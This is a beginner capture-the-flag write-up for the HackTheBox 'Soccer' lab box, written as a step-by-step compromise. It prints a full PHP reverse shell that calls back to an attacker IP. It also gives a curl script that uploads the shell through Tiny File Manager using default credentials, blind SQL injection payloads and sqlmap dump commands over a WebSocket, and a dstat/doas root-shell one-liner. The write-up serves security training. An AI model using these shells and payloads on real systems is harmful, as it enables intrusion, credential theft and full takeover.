Post

HackTheBox Soccer Writeup

Explore the fundamentals of cybersecurity in the Soccer Capture The Flag (CTF) challenge, an easy-level experience, ideal for beginners! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible and perfect for those new to CTFs.

Add Hosts

Edit the /etc/hosts file and add the following entries:

1
10.10.11.194 soccer.htb soc-player.soccer.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.194"
domain="soccer.htb soc-player.soccer.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

nmap -sCV soccer.htb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-25 21:03 CEST
Nmap scan report for soccer.htb (10.10.11.194)
Host is up (0.054s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Soccer - Index
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Wed, 25 Sep 2024 19:03:38 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Wed, 25 Sep 2024 19:03:38 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.95%I=7%D=9/25%Time=66F45E84%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Wed,\x2025\x20Sep\x202024\x2019:03:38\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Wed,\x2025\x20Sep\x202024\x2019:03:38\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Wed,\
SF:x2025\x20Sep\x202024\x2019:03:38\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

1
ffuf -u http://soccer.htb/FUZZ -c -w /usr/share/dict/SecLists/Discovery/Web-Content/raft-small-words.txt -fc 403

We discover the Tiny File Manager interface at: http://soccer.htb/tiny

CVE-2021-45010 (Tiny File Manager)

The default credentials for Tiny File Manager can be used:

username : admin

password : admin@123

Reverse Shell Exploit Setup

Replace <vpn-ip> with your actual VPN IP to receive the connection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '<vpn-ip>';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
   $pid = pcntl_fork();
   if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
   }
   if ($pid) {
      exit(0);
   }
   if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
   }
   $daemon = 1;
} else {
   printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
   printit("$errstr ($errno)");
   exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w") 
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
   printit("ERROR: Can't spawn shell");
   exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
   if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
   }
   if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
   }
   $read_a = array($sock, $pipes[1], $pipes[2]);
   $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
   if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
   }
   if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
   }
   if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
   }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
   if (!$daemon) {
      print "$string\n";
   }
}
?> 

Start a listener for the reverse shell:

1
nc -lvnp 9001

Execute the following script to upload the reverse shell to the vulnerable server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
URL="http://soccer.htb"
admin="admin"
pass="admin@123"
shell="shell.php"
local_shell="/tmp/$shell"
cookie=$(curl -s -X POST -d "fm_usr=$admin&fm_pwd=$pass" "$URL/tiny/" -i | grep -oP 'Set-Cookie: \K[^;]+')
if [ -z "$cookie" ]; then
   echo "[-] Login failed"
else
   echo "[+] Login success. Cookie: $cookie"
fi
webpath="tiny/uploads"
webroot="/var/www/html/tiny/uploads/$webpath"
upload=$(curl -s -X POST -H "Cookie: $cookie" -F "file=@$local_shell" -F "fullpath=$shell" "$URL/tiny/?p=$webpath")
if echo "$upload" | grep -q "successful"; then
   echo "[+] File upload successful"
   echo "[+] Shell located at $webroot/$shell"
else
   echo "[-] Upload failed"
fi
curl -s "$URL/$webpath/$shell"

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

1
stty size; stty raw -echo; fg

As the last step, set the terminal environment:

1
export TERM=xterm;

Inspecting NGINX Configuration

After obtaining the reverse shell, check the NGINX configuration:

1
2
ls /etc/nginx/sites-enabled/
cat /etc/nginx/sites-enabled/soc-player.soccer.htb

The configuration reveals:

1
2
3
4
5
6
7
8
server {
    listen 80;
    server_name soc-player.soccer.htb;
    root /root/app/views;
    location / {
        proxy_pass http://localhost:3000;
    }
}

This indicates that soc-player.soccer.htb is forwarded to a service running on port 3000.

Blind SQL Injection via WebSocket

  1. First, register an account and log in at http://soc-player.soccer.htb/check. After logging in, enter the following payloads in the input field to test for SQL injection:

    1
    2
    
    710191 or 1=1-- -
    710191' or 1=1-- -
    

    You will see that the application is vulnerable to SQL injection.

  2. During analysis, I discovered that soc-player.soccer.htb uses a WebSocket for communication. Using Firefox’s developer tools, I identified the WebSocket endpoint and captured the payload being sent in the network requests.

    The WebSocket endpoint is:

    1
    
    ws://soc-player.soccer.htb:9091/
    

    You can exploit this WebSocket service with a blind SQL injection payload:

    1
    
    {"id":"710191 or 1=1-- -"}
    

    This confirms that the service is vulnerable to SQL injection via the WebSocket, and you can proceed with tools like SQLMap or manual exploitation.

  3. To further test the SQL injection vulnerability, use the following command to connect to the WebSocket service:

    1
    
    wscat --connect 'ws://soc-player.soccer.htb:9091/'
    
  4. Send the SQL injection payload via WebSocket:

    1
    
    {"id":"710191 or 1=1-- -"}
    
  5. You should see the response:

    1
    
    < Ticket Exists
    

Using SQLMap for SQL Injection Exploitation

Once confirmed, use sqlmap to automate database extraction:

Discover tables and sqli:

1
2
sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --technique=B --risk 3 --level 5 --batch --threads 10
sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --technique=B --risk 3 --level 5 --batch --threads 10 --dbs

Get Items:

1
sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --technique=B --risk 3 --level 5 --batch --threads 10 -D soccer_db --dump

SSH Access

After dumping the database, use the credentials to SSH into the server:

1
2
ssh player@soccer.htb
cat user.txt

Privilege Escalation with doas

doas is setuid in /usr/local/bin/doas, as discovered using the following command:

1
find / -type f -perm -u=s -ls 2>/dev/null

Inspecting the doas configuration file using:

1
cat /usr/local/etc/doas.conf

reveals that dstat can be executed as root via doas without requiring a password. Additionally, we can both read and write in the /usr/local/share/dstat directory, found with:

1
find / -group $USER 2>/dev/null | grep -v '^/proc\|^/run\|^/sys'

The method to escalate privileges by exploiting dstat is detailed on GTFOBins for dstat. To exploit this and gain a root shell, follow these steps:

1
2
3
cd /usr/local/share/dstat
echo 'import os; os.execv("/bin/sh", ["sh"])' > dstat_xxx.py
doas /usr/bin/dstat --xxx

After running this, you’ll have a root shell:

1
cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.